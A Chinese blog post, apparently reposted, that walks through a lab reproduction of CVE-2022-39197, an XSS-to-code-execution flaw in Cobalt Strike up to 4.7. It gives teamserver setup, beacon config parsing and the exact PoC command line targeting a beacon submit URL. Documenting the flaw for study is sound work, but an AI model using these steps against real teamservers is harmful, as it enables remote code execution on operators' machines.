当前位置: 首页 > news >正文

CVE-2022-39197 POC(CobaltStrike XSS <=4.7)漏洞复现

漏洞说明

根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞,从而可以造成RCE远程代码执行

一位名为“Beichendream”的独立研究人员联系我们,告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名,从而允许他们远程执行代码RCE。


复现过程

根据漏洞原理,类似之前使用的cs上线器,稍微修改一下上线的payload即可。

测试环境

服务端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)

客户端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)

用到的工具:CobaltStrikeParser、CVE-2022-39197 POC


环境搭建

# ubuntu
chmod +x teamserver
./teamserver 172.16.12.13 haha123
# macOS--提供图片加载服务,如果联网的话可以省略该步,使用任意在线图片的url
brew install node@14
npm i --global serve
serve		# 用serve在图片路径下开启服务, 此处图片文件url为:http://172.16.12.2:3000/logo.png

CS中创建一个listener监听器

image-20220923195818451

然后生成一个package木马,经测试,是否勾选x64(即生成的32位和64位均可上线)不影响结果

image-20220923200124179

POC使用

首先对这个生成的beacon进行分析,我们这里使用CobaltStrikeParser这个工具。

python3 parse_beacon_config.py beacon4.3_x64.exe --json

重点关注如下几个点

PortC2ServerHttpPostUri进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php,记录下来

PublicKey复制到一个txt文件中,注意去除前后的空格

使用我写的POC(编写不易,麻烦加个star吧,后期会把上述分析功能集成,一站式实现)

python3 cve-2022-39197-poc.py -i http://172.16.12.2:3000/logo.png -u http://172.16.12.13:8080/visit.js/submit.php -k key.txt


转载于:https://blog.csdn.net/qq_35664104/article/details/127018606?spm=1001.2100.3001.7377&utm_medium=distribute.pc_feed_blog_category.none-task-blog-classify_tag-15-127018606-null-null.nonecase&depth_1-utm_source=distribute.pc_feed_blog_category.none-task-blog-classify_tag-15-127018606-null-null.nonecase
http://www.lryc.cn/news/17180.html

相关文章:

  • 我们来说说蹿红的AIGC到底是什么?ChatGPT又是什么?
  • 新手如何从零开始搭建配置Windows云服务器?
  • 百趣代谢组学-抑郁症居然“男女有别”,脑膜淋巴管起关键作用!
  • C语言实现用堆解决 TOP-K 问题
  • MySQL 数据库基础命令
  • 说一下this,实现apply、call
  • 华为OD机试真题Python实现【总最快检测效率】真题+解题思路+代码(20222023)
  • 【历史上的今天】2 月 23 日:Enigma 密码机申请专利;戴尔电脑创始人出生;Mellanox 收购 EZchip
  • 新手入门吉他推荐,第一把吉他从这十款选绝不踩雷!初学者吉他选购指南【新手必看】
  • XSS注入进阶练习篇(三) XSS原型链污染
  • 【Java基础 下】 025 -- 阶段项目(斗地主)
  • 华为OD机试真题Python实现【矩阵最值】真题+解题思路+代码(20222023)
  • TypeScript笔记(三)
  • C++(41)-低版本升级到VS2019项目时遇到的问题(2)
  • git 实战应用
  • Linux重启命令shutdown与reboot
  • 华为OD机试真题 用 C++ 实现 - 静态扫描最优成本
  • 拿下宁王、迪王的湖南裕能,还能“狂飙”多远?
  • STM32FreeRTOS - 按键实现任务挂起和恢复
  • 华为OD机试真题Python实现【判断牌型】真题+解题思路+代码(20222023)
  • Kafka(7):生产者详解
  • FPGA纯verilog代码实现H.264/AVC视频解码,提供工程源码和技术支持
  • 通俗神经网络
  • 网络工程(一) 简单的配置
  • 深度剖析数据在内存中的存储(上)
  • CF Edu 130 A-D vp 补题
  • 4707: 统计数字个数
  • ChatGPT 编写模式:如何高效地将思维框架赋予 AI ?
  • Leetcode力扣秋招刷题路-0099
  • 消费升级趋势下,平台如何在广告电商模式中攫取新流量